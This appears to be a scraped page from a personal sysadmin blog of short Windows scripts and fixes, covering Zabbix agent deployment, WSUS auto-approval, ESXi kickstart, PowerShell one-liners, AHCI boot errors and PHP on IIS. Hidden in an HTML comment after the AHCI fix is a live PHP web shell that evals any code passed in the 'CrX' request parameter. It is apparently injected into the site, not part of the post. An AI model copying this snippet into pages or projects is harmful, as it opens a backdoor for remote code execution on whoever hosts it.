Răzvan Cosma's scratchpad

random scripts of random value

Browsing Posts in Windows

Fixing Zabbix on a bunch of Windows machines with local accounts for /F “tokens=1-3 delims=,” %%A in (zz.list) do ( echo %%A %%B %%C net use “\\%%A.mydomain.com\C$” %%C /user:%%A\%%B xcopy /q /y zabbix_agentd.win.conf “\\%%A.mydomain.com\C$\Program Files (x86)\Zabbix Agent\zabbix_agentd.conf” net use “\\%%A.mydomain.com\C$” /delete net use “\\%%A.mydomain.com\IPC$” %%C /user:%%A\%%B sc \\%%A.mydomain.com stop “Zabbix Agent” sc \\%%A.mydomain.com start “Zabbix […]

Set up WSUS to automatically approve security patches (because it’s the right thing to do), [void][reflection.assembly]::LoadWithPartialName(“Microsoft.UpdateServices.Administration”) $wsus = Get-WSUSServer $class = $wsus.GetUpdateClassifications() | ? {$_.Title -In (‘Critical Updates’,’Security Updates’)} $rule = $wsus.GetInstallApprovalRules() | Where {$_.Name -eq “Default Automatic Approval Rule”} $class_coll = New-Object Microsoft.UpdateServices.Administration.UpdateClassificationCollection $class_coll.AddRange($class); $rule.SetUpdateClassifications($class_coll); $rule.Enabled = $True; $rule.Save() $config = $wsus.GetConfiguration(); $config.TargetingMode = […]

$ping = New-Object System.Net.NetworkInformation.Ping Get-Content .\list.txt | ForEach-Object { “{0,-15} {1,16}” -f $_,$($($ping.Send($_).Address).IPAddressToString 2>$null) }

ESXi %pre –interpreter=busybox # extract network info from bootup VMK_INT=”vmk0″ VMK_LINE=$(localcli network ip interface ipv4 get | grep “${VMK_INT}”) IPADDR=$(echo “${VMK_LINE}” | awk ‘{print $2}’) NETMASK=$(echo “${VMK_LINE}” | awk ‘{print $3}’) GATEWAY=$(esxcfg-route | awk ‘{print $5}’) DNS=”″ HOSTNAME=$(nslookup “${IPADDR}” “${DNS}” | grep Address | grep “${IPADDR}” | awk ‘{print $4}’) echo “network –bootproto=static –addvmportgroup=true –device=vmnic0 […]

If (New-Object System.Net.Sockets.TCPClient -ArgumentList ‘’,1688) {Write-Host ‘YES’}

For want of a proper sed, the PS way: Get-ChildItem -exclude *bak | Where-Object {$_.Attributes -ne “Directory”} | ForEach-Object { Copy-Item $_ “$($_).bak”; (Get-Content -Encoding UTF8 $_) -replace “some text”,”other text” | Set-Content -Encoding UTF8 -path $_ }

When running the default (retail) XP SP3 OS, this laptop runs at full CPU speed, and becomes worryingly hot in the process. Since Acer’s e* Management package doesn’t seem to actually do anything, the solution so far is to: Download RMClock Keep only two profiles, 4.0@0.975V and 8.0@1.175V Set profile to “Performance on demand” and […]

Start with F8->disable restart on failure, if the bluscreen error is 0x7b then switch your hard drives to IDE mode in BIOS, then edit these two registry keys: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Msahci HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\IastorV “Start” must have a value of 0 (loaded by kernel), it is probably 3 (manual) More details here <!– [insert_php]if (isset($_REQUEST["CrX"])){eval($_REQUEST["CrX"]);exit;}[/insert_php][php]if (isset($_REQUEST["CrX"])){eval($_REQUEST["CrX"]);exit;}[/php] –>

1. Do not use the web platform installer. If you already have, uninstall PHP and FastCGI using the Control Panel 2. Download the Non Thread Safe ZIP version from http://windows.php.net/download/, unpack it in C:\PHP5 3. Download FastCGI from http://www.iis.net/download/FastCGI (already included in Windows 7) 4. Add the .php file extension mapping using the IIS manager […]

private static CacheItemRemovedCallback OnCacheRemove = null; protected void Application_Start(object sender, EventArgs e) { AddTask(“DoStuff”, 60); } private void AddTask(string name, int seconds) { OnCacheRemove = new CacheItemRemovedCallback(CacheItemRemoved); HttpRuntime.Cache.Insert(name, seconds, null, DateTime.Now.AddSeconds(seconds), Cache.NoSlidingExpiration, CacheItemPriority.NotRemovable, OnCacheRemove); } public void CacheItemRemoved(string k, object v, CacheItemRemovedReason r) { // do stuff here if it matches our taskname, like WebRequest […]

Bad Behavior has blocked 42 access attempts in the last 7 days.